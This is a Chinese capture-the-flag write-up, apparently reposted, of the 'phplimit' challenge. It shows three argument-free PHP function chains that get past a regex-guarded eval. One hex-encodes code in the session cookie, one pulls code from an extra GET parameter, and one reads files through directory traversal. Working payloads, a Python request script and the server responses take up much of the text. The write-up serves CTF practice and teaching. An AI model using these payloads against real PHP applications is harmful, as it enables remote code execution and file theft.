2018 Code Breaking(3) & phplimit

栏目: 服务器 · Apache · 发布时间: 4年前

内容简介:本次是phplimit这道题,本篇文章提供了3种解法,即如何利用无参数函数进行RCE/任意文件读取题目源码如下:代码非常清晰,首先

本次是phplimit这道题,本篇文章提供了3种解法,即如何利用无参数函数进行RCE/任意文件读取

题目概述

题目源码如下:

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

代码非常清晰,首先

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

代码会将 $_GET['code'] 中满足正则 /[^\W]+\((?R)?\)/ 的部分,替换为空,然后查看是否剩下的部分强等于 ;
如果满足,则执行

eval($_GET['code']);

否则什么都不做。那么思路很明确,我们弄清楚正则即可进行RCE

[^\W]+\((?R)?\)
首先是 [^\W]

对于 \W ,其意思等价于 [^A-Za-z0-9_]

那么我们知道,我们的input必须以此开头

然后是括号匹配

\( ...... \)

括号中间为

(?R)?

意思为重复整个模式

简单理解,我们可以输入以下类型

a(b(c()))

但我们不能加参数,否则将无法匹配

a(c,d)

所以正则看完,题目的意思非常明确了:

我们只能input函数,但函数中不能使用参数,否则判断句右边经过替换,将不止剩余分号 ;

漏洞点分析

那么有没有办法通过无参数函数,达到RCE的目的呢?答案显然是不可能的,没有参数,怎么传递我们需要执行的指令呢?

所以我们的目标也变得很明确:通过某种无参数函数获取指定位置的变量value,达到RCE的目的。

那么哪里有我们可以控制的变量,并且还能通过无参数函数获取到呢?

那么思路又变得清晰了,http header就是我们的突破口。我们可以更改header中的各项属性,以及其value。

那么有没有函数可以函数http header呢?

我们在 php 手册中直接搜索

2018 Code Breaking(3) & phplimit

能用的手段很多,例如

getallheaders()
file_get_contents(array_pop(apache_request_headers()))

但如果我们测试的话,会发现均不可用,因为其为Apache函数

但我们看当前题目

< HTTP/1.1 200 OK
< Server: nginx/1.15.9
< Date: Sun, 10 Mar 2019 05:24:56 GMT
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP/5.6.40
<

其是nginx,所以之前的方式均无效了。

寻找nginx函数

那么现在思路又进一步变为:寻找nginx函数,以获取http headers

查阅php手册,并未发现相关可利用函数,于是此路终止。

那不能获取http headers怎么办?我们又该如何进行参数的传递?

这里我们可以转换一下思路,之间获取http headers,我们能获取非常多的属性,也就是说我们的可修改位置非常多,相当于一个面。但其实我们只要能够获取,并修改1条属性就够了,例如cookie或是X-Forward-For等等……

这样就相当于从寻找一个面变成寻找一个点,难以程度就会大幅下降。

那么最容易想到的应该就是cookie了

法1

我们在php手册中,搜索cookie

2018 Code Breaking(3) & phplimit

我们点入session中,可以发现这样一个函数

2018 Code Breaking(3) & phplimit
session_id ([ string $id ] ) : string

session_id() 可以用来获取/设置当前会话 ID。

那么我们可以用此方法来获取phpsessionid,并且phpsessionid可控

但其有限制如下

文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)

但问题不大,实际上我们只要拥有

0-9,a-f

就够了,因为我们可以将16进制转字符串,例如

>>> print 'echo "sky cool";'.encode('hex')
6563686f2022736b7920636f6f6c223b
php > eval(hex2bin('6563686f2022736b7920636f6f6c223b'));
sky cool

我们可以看到,成功的执行命令

也就是说,我们只要使用

eval(hex2bin(session_id()));

即可执行任意命令

但是当前题目并没有开启 session_start()

所以我们这里输入如下即可

hex2bin(session_id(session_start()))

我们编写脚本

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
	'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

2018 Code Breaking(3) & phplimit 那么下面就是找flag即可

payload = "var_dump(scandir('./'));".encode('hex')

array(3) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(9) "index.php"
}

payload = "var_dump(scandir('../'));".encode('hex')

array(4) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(14) "flag_phpbyp4ss"
  [3]=>
  string(4) "html"
}

payload = "var_dump(file_get_contents('../flag_phpbyp4ss'));".encode('hex')

string(38) "flag{e86963ba34687d269b9faf526ce68cd7}"

最后可以成功getflag:

flag{e86963ba34687d269b9faf526ce68cd7}

法2

我们通过php session的控制,达成了RCE的目的,那么我们有没有其他类似的方法呢?

答案是肯定的,我们还可以通过我们传递的参数来进行RCE

有如下函数

get_defined_vars()

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

我们测试一下

http://localhost/?code=var_dump(get_defined_vars());&a=2

得到回显

array(4) { ["_GET"]=> array(2) { ["code"]=> string(29) "var_dump(get_defined_vars());" ["a"]=> string(1) "2" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } }

那么如何将里面的

["a"]=> string(1) "2"

提取出来呢?

2018 Code Breaking(3) & phplimit

这里有一系列提取位置的函数,我们首先使用 current() 函数

得到回显

?code=var_dump(current(get_defined_vars()));&a=2

array(2) { ["code"]=> string(38) "var_dump(current(get_defined_vars()));" ["a"]=> string(1) "2" }

我们再取这个数组的最后一个

?code=var_dump(end(current(get_defined_vars())));&a=2

string(1) "2"

即得到了回显。

那么后面就比较简单了,控制a进行RCE即可

?code=eval(end(current(get_defined_vars())));&a=phpinfo();

2018 Code Breaking(3) & phplimit 然后getflag

?code=eval(end(current(get_defined_vars())));&a=readfile(%27../flag_phpbyp4ss%27);

即可拿到flag

flag{e86963ba34687d269b9faf526ce68cd7}

法3

为什么一定要RCE呢?这个题既然flag放在文件里,我们能不能直接读文件就行?

之前的方法都基于可以进行RCE,可以说我们是把题目难度又加大了,实际上,我们只进行任意文件读取即可

那么想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?

首先,我们可以利用 getcwd() 获取当前目录

?code=var_dump(getcwd());

string(13) "/var/www/html"

那么怎么进行当前目录的目录遍历呢?

这里用 scandir() 即可

?code=var_dump(scandir(getcwd()));

array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }

那么既然不在这一层目录,如何进行目录上跳呢?

我们用 dirname() 即可

?code=var_dump(scandir(dirname(getcwd())));

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }

即可发现flag文件,那么问题又回到之前,如果取数组指定位置的值,我们需要取的位置是第3个,我们有的方法如下

current() 取第一个
next() 取第二个
end() 取最后一个

那么怎么取第三个呢?

我们这里让数组倒叙,然后取第二个即可

?code=var_dump(next(array_reverse(scandir(dirname(getcwd())))));

string(14) "flag_phpbyp4ss"

那么读文件

?code=file_get_contents(next(array_reverse(scandir(dirname(getcwd())))));

Warning: file_get_contents(flag_phpbyp4ss): failed to open stream: No such file or directory in /var/www/html/index.php(3) : eval()'d code on line 1

发现报错了,我们找不到这个文件,因为没有 ../ 上跳呀,这该怎么办呢?

这里我们发现有函数可以更改当前目录

chdir ( string $directory ) : bool

将 PHP 的当前目录改为 directory。

所以我们这里在

dirname(getcwd())

进行如下设置即可

chdir(dirname(getcwd()))

这样我们的当前目录就在 /var/www 下了

但此时,我们的值变为了bool值,我们为了遍历目录,需要让他变回来,所以我们先进行目录上跳

var_dump(dirname(chdir(dirname(getcwd()))));

string(1) "."

再列目录

var_dump(scandir(dirname(chdir(dirname(getcwd())))));

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }

然后就回到了之前的问题了,我们直接取文件,读取即可

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

即可拿到flag

flag{e86963ba34687d269b9faf526ce68cd7}

小结

这种开放式的题目非常有趣,可以帮助我们了解许多php黑魔法和各种组合,我相信方法远不止这3种,欢迎各位讨论!

文章首发于合天智汇

以上所述就是小编给大家介绍的《2018 Code Breaking(3) & phplimit》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

从问题到程序-用Python学编程和计算

从问题到程序-用Python学编程和计算

裘宗燕 / 机械工业出版社 / 2017-6-1

本书是以Python为编程语言、面向计算机科学教育中的程序设计基础课程与编程初学者的入门教材和自学读物。本书以Python为工具,详细讨论了与编程有关的各方面问题,介绍了从初级到高级的许多重要编程技术。本书特别强调编程中的分析和思考、问题的严格化和逐步分解、语言结构的正确选择、程序结构的良好组织,以及程序的正确和安全。书中通过大量实例及其开发过程,展示了好程序的特征和正确的编程工作方法。此外,书中......一起来看看 《从问题到程序-用Python学编程和计算》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换